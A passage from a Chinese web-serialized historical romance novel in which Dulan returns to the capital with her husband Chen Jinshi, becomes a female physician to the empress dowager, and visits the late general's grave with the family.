都兰点了点头,撑着毯子想坐起身,却被陈锦时轻轻按住。他先将狐皮毯子裹在她身上,又弯腰把她打横抱起。 “我抱着你走。” 都兰顺势圈住他的脖子,脸贴在他温热的颈窝。 他手腕上挎着马绳,马跟在他们身后,蹄子踩在积雪上发出“嘎吱”的响。 走了没多久,远远就看见家里的方向亮着灯烛。 “是阿爸。”都兰轻声说。 陈锦时脚步顿了顿,抱着她加快了些速度。 “原来我已经走得这么近了。傍晚时,不知从哪儿刮来一阵风,叫我再也辨不清方向,不敢再走。” 苏赫举着火把迎上来,看见陈锦时,连声斥责:“胡闹!我没想到你小子还真来了!这种天气出门是要死人的知不知道!” 陈锦时低头心甘情愿领骂。 “阿爸,别骂了,我认错,都是我的错。” 苏赫亲自替他掀开门帘:“臭小子,还不快进来!” 牧仁也从炕上爬起来,蹲在火塘边点火煮奶茶。 “妹夫,饿着了吧,我给你煮点甜的,你先垫垫肚子。” 都兰独自走到里间去铺床,陈锦时还站在那儿挨骂。 苏赫真是不知道该怎么说他:“你不要命正好,死了都兰也好改嫁给谢将军。” 陈锦时急了,连忙上前一步:“那可不行!岳父,你不能这么做事!” 都兰铺好床,从掀开隔帘出来,瞪了苏赫一眼:“阿爸,怎么说话呢。” “我说错了?他要是死了你还给他守一辈子寡不成?咱们楼烦可没这个规矩!” 苏赫喘着粗气说,朝着都兰,胡子都飘起来了,显然是气得不行。 陈锦时有些泄气地坐下,牧仁把奶茶端给他。 “阿爸,我看妹夫命大着呢,你就别担心了。” 苏赫说:“我有什么担心的,都兰嫁谁不是嫁?谢将军可干不出这样不要命的事情来。” — 陈锦时抚边的职责,经由皇上旨意,转交给了谢清樾。 可惜楼烦众人并不知晓,谢清樾万不得已领命,但不得不做。 乡亲们对他很是信任,许多事情他做起来,比陈锦时做起来,要容易得多。 陈锦时虽身为苏赫的女婿,但很遗憾,出于一种奇怪的原因,大家并不信任他。 他就算当真给乡亲们一家发上一头牦牛,也不如谢清樾得民心。 “陈大人抢了谢将军的亲事,谢将军多可怜,咱们得多向着谢将军些。” “谢将军总不可能做对咱们不好的事情,他要做什么,咱们无条件配合就是了。” “谢将军要为军营收购楼烦良马,咱们必须得把家里最好的马选出来给他。” 陈锦时身为苏赫家的女婿,知道皇上让谢清樾做什么,但他不打算告知苏赫。 “别与阿爸说,此事乃大势所趋,不可抵抗,若是叫他知道了,反而增添麻烦,甚至伤亡。” 楼烦夹在两国之间已久,向一方臣服,是不得不的事情。 既然当今朝廷的皇帝还算宽容讲理,何不顺势而为。 都兰相信,谢清樾能办得好这件事,能让乡亲们没有反抗和不服地办妥此事。 谢清樾向每家每户收购良马,又以完全合理的金银数额作为交换,事情可谓两全其美。 两方交割的那日,雪又在落,却比前些日子温和多了,像在楼烦大地上撒了把盐。 谢清樾身着戎装,带了一队兵马,亲自查验每一匹马的牙口与蹄子。 乡亲们围在一旁,脸上全然没有对寻常官府之人的戒备,反而有人主动地上热奶茶:“谢将军,暖暖手,这马您尽管挑,都是咱楼烦最能跑的种。” 陈锦时站在远处的坡上,身上裹着都兰亲手给他缝的厚皮袍。 他刚收到了京里来的旨意,叫他开春后,负责押送楼烦进贡的良马回京。 “进贡”二字格外体现在旨意里,看来皇上铁了心要他在楼烦做个坏人。 风卷着雪沫子打在陈锦时脸上,谢清樾如今倒是春风得意。 傍晚,乡亲们散了,谢清樾牵着一匹黑马朝他走来。 “陈大人,瞧瞧这匹马。” 只见此马背宽阔如覆平板,腰背紧实无多余赘肉,四肢修长且骨骼粗壮,蹄子坚硬如铁,鬃毛与尾巴浓密顺滑,走动时随风扬起,像披了层流动的黑纱,眼睛大而亮,瞳仁澄澈如墨玉。 谢清樾将这匹马放到陈锦时手中:“这是今日我见到最好的快马。” 陈锦时看到落到自己手中的缰绳,眉头皱了皱:“谢将军这是何意?” 谢清樾抬手在马背上轻轻抚过,那黑马温顺地甩了甩马尾,鬃毛柔顺。 “都兰会喜欢这匹马的,带她回京的路上,有它在,路会好走许多。” 陈锦时攥着缰绳的手紧了紧,眸子渐渐暗下来。 他还不知道都兰是否会跟他一起回京,苏赫会不会放人。 若他们知道,这次乡亲们出手的马,都被他从谢清樾那里“夺走”,带回了京城献给朝廷,他这个“苏赫女婿”的身份还坐不坐得稳都不好说了。 谢清樾笑道:“都兰会跟你走的,她哪次选的不是你。” 陈锦时轻轻摸了摸马颈,黑马像是通了人性,用脑袋轻轻蹭他的掌心,温热的触感让他紧绷的肩线稍稍松弛。 风也变得柔和,掠过渐渐解冻的草原。 春天就快要到了。 “其实苏赫也不想都兰待在草原,他从前说过,都兰不适合这里。” “为什么?”陈锦时有些诧异。 “当初若不是你定要牵扯她,她从你家离开后,药铺早就开遍金陵大街小巷了,她原本就没想过要回来。” 陈锦时恍然大悟,从前忧心的,害怕都兰不愿同他回京的担忧,全都烟消云散,取而代之的,是极强烈的自责。 两人正说着,都兰骑着一匹白马从胡杨林里穿出来,昂首朝谢清樾示意:“阿爸让我来叫你们回去吃晚饭,谢将军一起。”她勒住马,目光落在那匹黑马上,眼睛亮了一瞬,“真是一匹好马!今日新得的吗?” 陈锦时笑着把黑马的缰绳递给她:“算我借花献佛,给你的。” 谢清樾只笑,没有抢白。 都兰从白马上跳下来,接过缰绳,翻身上了黑马。 黑马似乎格外认主,都兰刚坐稳,它便温顺地晃了晃鬃毛,看起来十分潇洒。 她轻轻夹了夹马腹,黑马迈着稳健的步子转了个圈,都兰笑得眉眼弯弯。 三个人骑着马朝苏赫家的方向走去,陈锦时稍稍错她半步,看着她裹得厚厚的身躯。 是啊,楼烦风又大,雪又大,一道道风恨不得把人的皮肤刮出一道道伤痕,如果不是因为那些事情,她应当是愿意留在金陵或是京城生活的。 回到家里时,晚饭已经备好了。苏赫坐在炕桌旁,手里拿着酒碗,见他们回来,朝谢清樾笑道:“谢将军!你可算来了,别说其其格,就连我都有些想你呢!” 谢清樾翻身下马,将缰绳递给迎上来的牧仁,先是围着苏赫家的毡房转了一圈,朝苏赫点点头:“看来家里置办得不错,今年冬天怎么样?还好过吗?” 苏赫笑着道:“好过,好过,我女婿是个能干的。” 谢清樾一来,其其格往他身上扑去:“小姑父!你可来了。” 谢清樾将她接住:“其其格,你又长高了,长胖了。” 其其格笑得眼睛都弯成了月牙,难得的有点害羞起来。 阳春三月,陈锦时奉旨回京。 苏赫脸色难看地替都兰收拾包袱,图雅也很是不舍。 “就不能不走吗?” 都兰劝慰:“当初女儿嫁给他时,您不就应该想到这一天吗?” “你当初走了那么久,我们知道你在那边过得好,陈将军是个极可靠的人,也就没想那么多,可这次不一样,回都回来了,又过去……”日子好像就没那么好过了。 图雅站在一旁,偷偷抹了把眼泪,又把一包奶豆腐塞进包袱:“这是你爱吃的,京里不一定有,要是不够了,就给家里捎信,我再给你寄。” 都兰看着他们,忽然鼻子一酸,其其格在一旁问道:“姑姑,什么时候把其其格接过去玩儿?” 都兰摸摸其其格的头:“等其其格再长高些。” 陈锦时此行押送良马回朝,谢清樾给他派了一队精兵护送。 队伍出发时,草原上的花刚冒出嫩芽,风里带着暖意。 这样的离别,对于苏赫来说,早就见怪不怪了。 “都兰,不高兴了再回来就是了。” 都兰坐在马车里,朝父亲挥着手。 她已经等不及回去见见苏兰舟,好知道自己的药铺如今经营得如何了。 一行人刚走出胡杨林,得知良马去向的乡亲们涌出来,对着骑在高大骏马上、身着绯红官服的陈锦时扬声斥骂。 彼时他已是一脸冷峻样貌,这个坏人他不得不当,为了谢清樾接下来的计划。 他听着身后那些人骂他“骗子”、“忘恩负义”,始终面不改色。 “说好的公平收购!怎么转头就成了进贡?你这是拿我们的血汗回去邀功!” 都兰掀开马车车帘,想替他解释,被窗外的陈锦时眼神制止。 朝廷买马不是没有出钱,但楼烦众人在意的是这个名头。 究竟是公平互市,还是进贡?他们收的银子不再是交易所得,而成了朝廷 的赏赐。 字一改,意思就完全不同。 谁稀罕要那些赏赐! 谢清樾站在远处目送他们离去,面容苦涩,等着乡亲们转头看向他,露出受害者的神情,以获取更多同情。 陈锦时背上被砸了几片菜叶子,直到身后的骂声渐渐淡去。 谢清樾似乎做了艰难的抉择,终于决定“抗旨”,派兵出去与陈锦时的兵缠打在一起:“这是乡亲们用血汗孕育的良马,你们不能全部带走!” 众乡亲热泪盈眶地看向谢将军,怎么会有谢将军这么好的人。 陈锦时放缓速度,侧头看向都兰,声音软下来:“委屈你了。” 都兰摇摇头,苦笑一声:“比起直接出兵收服楼烦,这已经是最好的结果了。” “皇上答应过我,将来会减免楼烦三成贡赋,我向你保证,乡亲们的日子定会越过越好。” 谢清樾的人最终夺回了早前与陈锦时商量好的一半良驹,剩下一半良驹跟着陈锦时回京交差。 都兰知道,朝上必有一部分人仍不把楼烦人当人,整日嚷嚷着出兵收服,他们这次带回去的良马,便能叫那些人消停一些。 谢清樾“抗旨夺马”负责稳民心,陈锦时则负责在朝廷面前做出他们已然臣服的姿态。 一切都会平稳度过,按照她能接受的方式。 只是都兰也没有想到,陈锦时有一天竟能做这样“忍辱负重”的角色,把功劳让给谢清樾。他向来是个心底里憋不住事的人。 第70章 队伍行进了一月的时间,终于抵达京城。 马车刚过永定门,陈锦时骑在一匹高大骏马上,披风被风掀起。 身后百匹良驹昂首列队,提升整齐如鼓点,油亮的皮毛在阳光下泛着缎子般的光泽。 引得街上行人纷纷驻足,连临街酒肆里的食客都涌到窗边,伸长脖子打量,只盯着那整齐的马队啧啧称奇。 “陈大人乃先帝钦点进士出身,听说他奉旨抚边,没费一兵一卒就让楼烦人乖乖献上良马!” 酒肆二楼的客人压低声音,目光紧紧盯着马队前方的身影,语气里满是敬畏。旁边一人立刻附和:“可不是嘛!早前听说楼烦民风彪悍,从不把朝廷放在眼里,真是给他们脸了!陈大人一去,还不是得乖乖献上良驹,这威望可不是一般人能比的。” 议论声顺着风飘到陈锦时耳中,同样也飘进了都兰耳中。 陈锦时面不改色,目光扫过众人,已有百姓躬身高喊:“恭迎陈大人凯旋。” 恭迎他的声势越来越高,陈锦时勒停了马,立在都兰的马车旁,小心地看向她:“我先进宫复命,阿姆先回府,我叫哥哥出来迎你。” 都兰隔着车帘轻应了声“好”。 车帘被风又吹开些,她瞥见陈锦时的身影,也看见了那些人看着楼烦“进贡”良马的傲慢神情。 好似这些东西,本就该是他们的。 都兰掩下车帘,不去看那些神情,她心里清楚,交易就是交易,她家里的人是收了钱的。 时隔多年,京城陈府还是那座大宅子,只是如今门槛比从前高了许多。 都兰下车的时候,陈锦行和张若菱都站在门口迎她,张若菱手上牵着个小女孩儿,比其其格小得多。 “都兰,你可算回来了。” 张若菱迎上来,叫手上小女孩儿唤她:“你该叫,该叫……” 陈锦行上前一步:“叫二伯母。” 时哥儿事前来过信,只说阿姆这次回来,只做都兰,与从前没什么关系了。 那小女孩儿便脆生生地叫了句:“二伯母。” 都兰是陈锦时的妻子,小孩儿当然该这么叫。 都兰蹲下身,摸了摸她的头:“你叫什么名字?” “我叫陈嘉禾。” “真是个好名字。”都兰使人从马车上取下见面礼。 张若菱侧身让开半步,引着人往府里走:“院子早给你收拾好了,还是你从前住过的西跨院,窗下那株海棠今年开得旺,景致极美。” 都兰脚刚跨过门槛,闻见一股熟悉的熏香,是她从前爱用的,这阔别已久的院子,很快温暖地包裹住了她。 “对了,锦云呢?” 张若菱笑着道:“忘了跟你说了,锦云去年嫁人了,赶明儿我写封信让她过来见你。” 听闻这个消息,都兰有些失魂落魄,但算算日子,锦云嫁人了也不奇怪。 张若菱牵着陈嘉禾的手,脚步慢了些,语气带着几分温和,一边走一边说:“是户好人家,人品端正,去年大婚时锦云还哭着说舍不得家里,如今倒也适应了。唉,女孩子家的,哪能不经历这一步呢?锦云年纪小,是高嫁。女孩子越拖,越不好高嫁的。” 她眼瞧着都兰落寞的神情,免不得多解释了一句。 都兰当然想回来的时候,看到锦云还好好地待在家里。 “你刚回来,先歇着,虽说立了春,京里有些时候还冷,暖阁烧着地龙呢,被褥都是新晒过的。” 都兰点点头,路过回廊时,瞥见廊下挂着的鸟笼,里面的画眉正蹦跳着叫,声音清脆。不是她走时的那一只了。 一走进屋子里,暖意熏得她有些不习惯,楼烦最热的时候,也不定有这屋子热呢。 她不禁失笑,真是许久没过过这样的矜贵日子了。 她躺在熟悉的贵妃榻上,头枕着手腕躺下,舒服地闭上眼,觉得这样的日子过着也挺好。 丫鬟被张若菱指使着,端着杏仁酪进来。 “二奶奶,听大奶奶说,您从前就爱吃这个,少糖多放杏仁碎,您尝尝。” 听着丫鬟称呼她,都兰还有些不习惯,笑着接过,暖意顺着指尖往四肢蔓延。 “那你们大奶奶有没有跟你们说过,我这院子不需要人服侍,你们往后未经我允许,不要进来。” 都兰嘴角噙着笑,说话却不留余地,丫鬟端着托盘的手顿了顿,脸上闪过一丝局促,随即连忙福身应道:“是,我记下了,往后没您的吩咐,绝不敢擅自进来。” 说着,便轻手轻脚地退了出去。 都兰握着白瓷碗,勺尖舀起一勺杏仁酪,想着,这些年,张氏倒是把府上规矩立得极好。 细腻的甜香裹着杏仁的醇厚在舌尖漫开,还是从前的味道,她想起在楼烦的清晨,其其格捧着粗陶碗,碗里是牧民自知的酸酪,撒上一把炒得喷香的青稞,也吃得极香。 她正出神,窗外的脚步声越来越近,门被轻轻推开,陈锦时脱下官帽进来,帽檐上的翅膀扇动着发出细微的声响。 她抬头看向他,轻声道:“宫里的事都妥当了?” 陈锦时见她半倚在榻上,形容柔美,心下不禁一动。 她在这样的情境里,总是显得格外温柔。 “都妥了,你大可安心。” 他在她身边坐下,目光落在她脸上,攥起她的手,托在掌心里,细细摩挲着。 都兰支着头懒懒看他,只觉他这些年成熟了许多。望着他官服上未卸的玉带,忽然道:“这样的路,你倒真走下来了。我原以为,你在朝上待不下来的。” 他攥着她的手,圈在唇边细细吻着,轻声道:“我长大了,阿姆。” 暖阁里的熏香混着杏仁酪的甜香,还有他带回来的松子糖的气息,缠绕在一起。 陈锦时顺着她的目光看向腰间玉带,喉结轻滚,伸手解下。 正要俯身,却听见院外传来丫鬟轻细的脚步声,带着几分犹豫,倒进来不进来的。 陈锦时皱了皱眉,扬声问道:“何事?” 门外的丫鬟连忙回话:“回二爷,大爷和大奶奶备了晚膳,请您和二奶奶过去用。” 府上下人几乎全换了,只剩少数几个老人,倒也不敢说什么新来的二奶奶是从前的沈姑娘。 两人并肩走出来,廊下的鸟还在叫。 走到正厅门口,陈锦行就站在阶下等,屏退了下人,见她来,忙躬身拱手:“阿姆。” 都兰伸手扶起:“锦行,不要再这样唤我。” 陈锦行身姿稍稍 一顿,又恢复自然,没说好还是不好。 张若菱轻咳了声,引着两人入席:“快坐吧,菜该凉了。” 桌上摆满了精致菜色,显然是张氏下了功夫准备的。 都兰笑着道:“这肘子看色泽,怕是炖了三个时辰吧。” 张若菱笑得含蓄:“我亲自盯着的,您尝尝。” 都兰咬了口,却是软糯鲜香。 一家人吃着饭,张若菱顺道开口:“这些年,府上也没什么变化,前两年添了几个洒扫的下人,还有个管账的老周,从前的陈兴年纪大了,回金陵老家带孙子去了。西跨院要是缺什么,您尽管跟我说就是。” 陈锦行放下筷子,也看向她:“同我说也可以。” 都兰轻轻点头:“就快到清明了,我打算回金陵一趟,看看将军,锦行,你来安排吧。” 陈锦时顿时颔首:“是,清明回去一趟也好。” 一口气吩咐完,都兰才发觉,自己在这个家里倒是习惯坐主位了,也怪陈锦行,对她这般恭敬。 她有些不自在,多说了句:“锦行,多谢。” 陈锦行闻言,又放下手中的银筷,神情认真,压低了声音:“阿姆,我答应了父亲,说好一辈子孝敬您,就绝不会变。” 陈锦时也放下筷子,一言不发,目光沉沉地看着她。 都兰握着筷子的手顿了顿,眼眶忽然有些发热。 “我其实也没做什么,如今这样,我反倒自责得很……我都不知道,该怎么回去见你们父亲。” 张若菱连忙打圆场:“有什么的呀,往后两兄弟该孝敬孝敬,您受着就是了,时哥儿如今这般出息,父亲感谢您还来不及呢。” 桌子底下,陈锦时悄然捏住她的手,凑她耳边低声道:“阿姆,你怎的忽然变得这样正经?我都有点不习惯了。再说,你到底怕我爹骂我还是骂你?好像占便宜的是我来着……” 都兰眼眶还热着,忽然被他逗笑,猛地抽回手,瞪了他一眼。 陈锦时嘴角是藏不住的得意笑意,松了神色。 陈锦行视线淡淡扫过他,端起酒杯道:“如今家里,兄弟和睦,一家团圆,父亲见了,只会高兴。” “就是这个理!”张若菱笑起来,也举起酒杯。 陈嘉禾坐在一旁,看大人们说得热闹,也跟着凑趣,小手抓着一块糕点递到都兰面前:“二伯母,这个甜,你吃。” 几日后的清晨,西跨院的海棠刚绽出粉白花苞,陈府外忽然来了辆明黄色宫车。 “太后娘娘懿旨,宣陈家二奶奶即刻入宫!” 太监嗓音尖细,穿过层层院落传入都兰的耳朵里。 她对此事早有预料,一则,当初走得急,并未好好与当时还是皇后的太后道别,皇后原是很喜欢她的;二则,就算太后不宣她入宫,她前些日子贸然用了太子玉佩处事,到当今皇上面前,也该有个交代。 她换上多年前的深绿宫装,铜镜里映出她肃穆的面颊,这张脸不比四年前莹白,颊边透着健康的浅红,肤色成了上好羊脂玉的质地,显得温润。 唇瓣施了粉黛,不笑时唇线清晰,添了几分疏离的、已为人妇的矜贵雍容。只是那双眼睛,曾映过落日与骏马,此时依旧亮得像浸在清泉里,静而不沉,亮而不灼。 她抬手理了理宫装的广袖,深绿的绸缎包裹着她敦厚优美的身躯曲线,衬得脖颈愈发修长,年近三十,眼角极浅淡的几丝细纹,给她添了不知多少韵味。 宫车里暖烘烘的,熏着香,不比在楼烦每日晨起揉着冻硬的毡毯,起来生火。 正思忖着,车帘忽然被风吹开一角。 宫墙的琉璃瓦顶,在晨光里泛着淡金色的光。 不多时,宫车停在慈宁宫门前,太监尖细的唱喏声传来,都兰深吸一口气,理了理衣襟,踩着小太监搭来的锦凳下车。 “臣妇都兰,叩见太后,太后圣安。” 殿内静了片刻,才传来太后冷淡平和的声音:“起来吧,四年不见,你倒还是老样子,只是瞧着比从前沉稳些了。” 都兰依言起身,垂着眼帘缓步走到殿中,抬眼瞧了太后一眼,殿内并无旁人了。 太后穿着明黄绣凤纹的常服,鬓边插着赤金镶珍珠的簪子,见她望来,便招手让她近前:“自你走后,宫里那些太医,哀家如何都信任不起来,哀家想着,宫里是时候添些女医。只是可惜,我朝女子习医术的少之又少,唯有你,倒让哀家格外惦念。” 都兰忙屈膝赔罪:“太后,是臣妇的错。” 太后抬手扶住她胳膊,都兰一怔,倒是没想过太后待她这样亲近。 “此话怎说?哀家不是要怪你,你走得仓促,不是你的错。你既回来了,哀家打算封你做女官,今后就专在哀家跟前伺候。” 都兰垂眸道:“只是臣妇这些年在楼烦,多是治些风寒劳损的家常病症,怕也生疏了宫廷里的杂症,未必能再为娘娘分忧。” “当年你只用一副药就缓解了哀家的头痛,哀家信得过你的医术。” 都兰眼中仍有迟疑,直到太后又问:“你还有何疑虑?” 她脊背一凉,忽然发觉,此事不是她能拒绝的,太后今日只是通知她罢了。 话已至此,再无推脱的余地,都兰躬身:“臣妇谢太后恩典。” 太后笑着点头,命宫女取来一个描金漆盒,打开时里面躺着一块木牌,上面刻着“慈宁宫近侍”五个字:“拿着这个,往后在宫里行走,没人敢拦你。” 都兰双手接过木牌,殿外忽然传来一阵细碎的脚步声,跟着是宫女的通报:“太后,贤妃娘娘带着大公主来请安了。” 太后看向都兰,眼底闪过一丝笑意:“正好,让你见见宫里的人。” 贤妃身着粉色宫装走进来,身后的嬷嬷抱着个两岁的小女孩儿,梳着双丫髻。 贤妃见到都兰,先是一愣,随即不动声色地朝太后行礼:“臣妾见过母后。” “起来吧。”太后指了指都兰,“这是哀家新封的女医,往后你们若有什么头疼脑热的,可以传她去宫里瞧瞧。” 贤妃眼中闪过一丝惊讶,随即笑着朝都兰颔首:“大人好。” 都兰微微颔首回礼,目光落在被抱着的大公主身上。小孩儿粉雕玉琢,却皱着小脸,小手紧紧攥着嬷嬷的衣襟,鼻尖泛着淡淡的红。 贤妃瞧着她,心里仍有疑虑,斟酌着问出口:“母后, 宫里这还是头一遭有女医,有什么说法不曾?” 品级、俸禄、权力……都还没有设立,倒是凭空设出来的一个官职。 太后沉吟道:“都兰平日只在慈宁宫当值,宫里其他处若要请她看诊,需先经哀家应允。至于俸禄,按正五品女官来算。” 这话倒是很给都兰体面,虽品级不高,却划定了她不是这宫里谁都使唤得动的。 贤妃笑着颔首:“母后考虑周全,臣妾也觉得妥当。” 一连到太后宫中当值数日,太后只叫她每日一请平安脉,其余时候就带着她逛花园,或是听戏之类的活动,令都兰感到意外的是,她至今没有见过皇上。 好似对方并不打算计较她做的事情,也不打算再与她叙旧情。 这样也好,对方已是一国之君,若还与她计较什么,她是一点对抗的余地也没有的。 大抵只是,太后当真喜欢她,想留她在身边做个女官罢了。 这日清晨,都兰刚给太后把完脉,宫女便端来新沏的雨前茶,水汽氤氲里,太后忽然指了指窗外的紫藤架:“去年这时候,紫藤开得满架都是,今年倒晚了些。你在楼烦,可有这般好看的花?” 都兰顺着她的目光望去,藤蔓上只缀着零星花苞,轻声回道:“楼烦多草原,春日里开得最盛的是金露梅,漫山遍野都是,风一吹,香气也能飘出好几里地。” “听着倒热闹。”太后笑着呷了口茶,话锋忽然一转,“过些日子皇上要率领众卿到京郊打马球,说起来,你倒可以去参与参与。” 太后似是才想起来,自己身边这位女医,也是极擅长这一项的。 都兰手微微一顿,眼底闪过一丝意外:“想必场上都是男子,臣不好上场。” “是男是女哪有那么重要?”太后放下茶盏,“你身手利落,正好上去表现表现,不能总让那些男人出风头。” 都兰不好再推脱,只得应下,又为明日同家人回金陵扫墓一事向太后告假。 太后应允了,又吩咐宫女备了一匣子祭品:“你替哀家给陈将军带过去,也算尽一份心意。” 都兰双手接过:“臣替将军谢过太后。” 从慈宁宫出来的时候,夕阳已染红了半边天。 都兰刚下了宫里的软轿,就见陈锦时穿着官服候在宫门外。 “久等了吧?我如今比你还忙。” 陈锦时朝她伸出手,悄悄将她牵住:“没事,以后我都等你。” 两人很快出了宫,翌日,一家人启程回金陵。 金陵有许多旧事,说起老宅的院子里的槐树,一到夏天能给家里添多少阴凉,都兰靠在车窗旁,眼前仿佛浮现出那些鲜活的画面。 她转头看向陈锦时,见他正认真地说着,阳光落在他脸上,温柔得不像话,心里忽然就安定下来。 直至二房派过来的管家,接过他们手中的行囊,引着往老宅走时,一阵风忽然卷着槐树叶飘来,落在都兰肩头,她伸手去拂,指腹触到叶片粗糙的纹路,恍惚间竟与记忆里某个春夏日的触感重叠。 将军的棋子落在石桌上“啪”地响:“都兰,该你了。” 都兰思考已久,正要落子,下学回来的陈锦时忽然伸手搅乱了棋盘:“沈樱,你听我的,下在这儿!我保你能赢。” 陈锦时就是来捣乱的,偏偏都兰本就棋艺不精,回回都听了他的鬼话,输得一塌糊涂。他们两个加在一起,也不是将军的对手。 “阿姆?”陈锦时见她驻足,轻声唤她。 都兰回过神,眼前已不是盛夏时节,而是初春。她定了定神,往老宅深处走去。 原以为再也不会回到这里,没想到她还是回来了。 可惜斯人已逝,她纵有千般话语,也无人可叙。 眼前没有将军,没有棋子,只有二房、三房的亲戚们,围着他们叽叽喳喳地说话。 陈锦时伸手揽过她的肩,好似要无尽展现二人关系。 亲戚间有不少人惊呼此事荒唐,但陈锦时咬死了说,都兰就是都兰,一个不过大他几岁的异族女子。 皇上跟前过了明路的关系,流言蜚语又能如何。 推开门的瞬间,一股熟悉的草木潮湿气扑面而来。院子里的老槐树比记忆里更粗壮了些,枝桠斜斜地伸到屋檐下。 早前回到老家带孙子的陈兴也特地回来伺候主子们。 “晚膳备好了,房间也都按从前的习惯归置了。” 陈锦行“嗯”了一声,转身朝都兰恭敬:“阿姆,先回房歇下吧。” 翌日,天还没亮。 出城约莫半个时辰,马车停在山脚下。 往上的路是泥泞,雾更浓了,连路边的松树都只剩个朦胧的影子。陈锦行和张若菱带着陈嘉禾跟在后面,张若菱怕孩子冷,把她裹得像个小团子,只露出双圆溜溜的眼睛,好奇地看着四周。 都兰是第一次来这里,将军下葬的时候,她没有跟来。 她走得慢,陈锦时一直扶着她的胳膊。 快到墓前时,雾气忽然散了些,晨光透过松枝洒下来,落在陈济川的墓碑上,碑上四个字,被打理得干干净净,没有一点青苔,旁边还立有一碑,是他的妻子,他们的母亲。 陈锦行走上前,将带来的祭品一一摆好。 陈嘉禾被张若菱抱着,小手抓着一块糕点,小声问:“娘亲,这是给祖父的吗?” 张若菱点点头,轻声说:“对,给祖父和祖母的,嘉禾跟祖父祖母说说话好不好?” 都兰蹲下身,伸手抚过墓碑上的字,指尖触到冰凉的石头,忽然就红了眼眶。 陈锦时蹲在她身边,轻轻握住她的手,声音很柔:“阿姆,有什么话,跟父亲说吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第71章【VIP】 第71章 都兰抽噎着,在陈济川的墓前哭得喘不上气。 她真的好想他。 她从前不敢来到这里,因为她不知道自己该以什么样的身份。 今天她来到这里,以他儿媳的身份,拜祭他们的父亲,还有……母亲。 这实在是一种令人说不出口的感触。 她是心甘情愿成为陈锦时的妻子,愿意与他度过余生,唤他的父亲为父亲,他的母亲为母亲。 但她到底,还是有些遗憾的。 遗憾要是他在就好了,她想他看着她同陈锦时在一起。 都兰的哭声低低的、轻轻的,透着一点……娇怯。 她嘤嘤哭泣,就像是一个小女孩儿。 陈锦时沉默地俯视她耸动的肩背。 他知道了残酷的一点,他与她的感情,永远也不会变成她和父亲那样。 她会依赖父亲,像个小女孩儿一样撒娇、依偎、崇拜。 而她永远不会对他那样。 他对此感到遗憾。 可惜他们感情之始,便是那样一种永远倒转不过来的“母子”之情。 他依赖她,依偎她,没她便不可活,从她那里得到爱和关怀,有来自孩子对母亲的“占有”; 而她教养他,训斥他,对他寄予厚望,盼他生得高大而壮阔,却绝不会对他据为己有,她对他没有私心。 两者不可颠倒,也不会颠倒。 陈锦时缓缓蹲下身,指尖轻轻拂过都兰被泪水打湿的发。 “阿姆,”他声音比山间的雾还要轻,“我知道你想他。可你看,他要是瞧见你这样,该心疼了。” 都兰抽噎着抬眼,眼眶通红,睫毛上还挂着泪珠,好似受了天大的委屈。 陈锦时轻轻拂去她的泪珠,温柔哄着,想象着父亲的样子。 陈锦行走上前,给紧挨在一起的两座墓碑敬了酒,站在最前面,作为长子,由他带头祭拜,向父亲介绍家里的新妇。 他对着墓碑躬身,声音沉稳:“父亲,母亲,锦时去年娶妻了,娶了都兰,您二位在天有灵,尽可放心。” 张若菱抱着陈嘉禾,也跟着屈膝行礼,轻声道:“儿媳把嘉禾也带来了。孩子还小,不懂太多事,但她知道要给祖父祖母问好,往后我会常带她来,让她多陪陪您二位。” 陈嘉禾被母亲按着肩膀,小小的身子也跟着弯了弯。 都兰与陈锦时并肩而立,对着两座墓碑深深躬身:“父亲,母亲,儿媳都兰,今日来给您二位请安。” 风吹过树林,沙沙的声响像是温和的回应。 “父亲从前就盼望着咱们大房人丁兴旺,如今嘉禾也长这么大了,他瞧见了定然高兴。”陈锦时语气轻快,很快扫去了沉闷气氛。 都兰看着眼前景象,忽然觉得眼眶又热了,却不是因为难过,只是在想,将军看到这样的景象,大抵也是欣慰的。 陈锦时握着她的手,让她无比安心。 陈锦行看了看天色,开口道:“时候不早了,该下山了。” 都兰点点头,最后看了一眼墓碑,心里的遗憾渐渐淡去。 她知道,将军虽然不在了,但他给她留下的家、家人还在。 下山的路上,陈嘉禾拉着都兰的手,蹦蹦跳跳地走在前面,时不时指着路边的小花问她是什么名字。 都兰耐心地回答着,嘴角挂着浅浅的笑,眼眶还有些未褪的红。 只是,有些花她也不知道该怎么称呼,便转头问陈锦时,三个人的场景看起来无限美好。 张若菱见状,便笑道:“父亲就想要家里人丁兴旺,听说你们两个平日还在吃药?何苦呢,快停了吧。” 都兰微微一怔:“我年纪不小了,怕是不好要。” 张若菱道:“要我说,先把汤药停了,顺其自然,看缘分的好。” 陈锦行反倒把女儿抱起来:“你说你劝人家两个做什么?父亲这一脉,往后就算是只有嘉禾一个也够了。” 张若菱瞪他:“怎么够?” 陈锦时嘴角噙着笑:“嫂嫂给嘉禾招个赘婿就成。” 回京城后,都兰每日依旧到慈宁宫当值。 给太后调了几道方子,太后吃了仍觉得极有效果,越发喜爱她。 见了她一高兴,话就漏了嘴。 “玄澈当初还怨哀家,不同意为他降下懿旨,把你纳入东宫。瞧瞧,哀家如今都后悔了。“ 都兰正伏案写字,手猛地一顿,垂着眼帘,不敢有大的动作。 “太后抬爱,就别取笑臣了。” 当初她原以为太子若真要她,必不会给她选择的余地,既放她走,想来是没那么喜欢,却没想到,是因为太后不同意。 那么当初放她走,究竟是太子没那么喜欢,还是……爱而不得。 都兰浑身瞬间紧绷起来。 太后忽然意识到自己说错话了,却不打算收回,目光落在都兰柔滑的侧脸上:“哀家可不是取笑你。当年玄澈的确来求,说要立你为良娣,哀家瞧你是个异族女子,驳回了此事。” 都兰垂着头,声音很轻:“太后英明。” 太后脸色变了变:“怎么?你就那么喜欢陈家那小子?” 眼前这女子几乎是把对玄澈的推拒写在脸上,太后看了并不高兴,自己儿子可是堂堂一国之君。 都兰沉默着,倒也不是,只是陈锦时说得对,那人不“干净”。她要是真的同玄澈……往后得跟多少女人共享丈夫,她不愿过那样的日子,绝不是瞧不上玄澈的意思。 “太后,臣的性子,不适合入宫。” “你倒坦诚。哀家也知道,宫里的日子不自在,三宫六院的争斗,不是你这样心思纯良的人能应付的。”她顿了顿,端过宫女递来的茶,呷了一口才继续道,“偏就是你这副性子,哀家才后悔了。” 都兰一愣,不太明白太后的意思。 至于说她心思纯良,她勉强受了吧。 “如今能侍奉太后,臣已是心满意足。” 太后目光落在她身上,那视线细细地描摹,都兰脊背绷得僵硬。 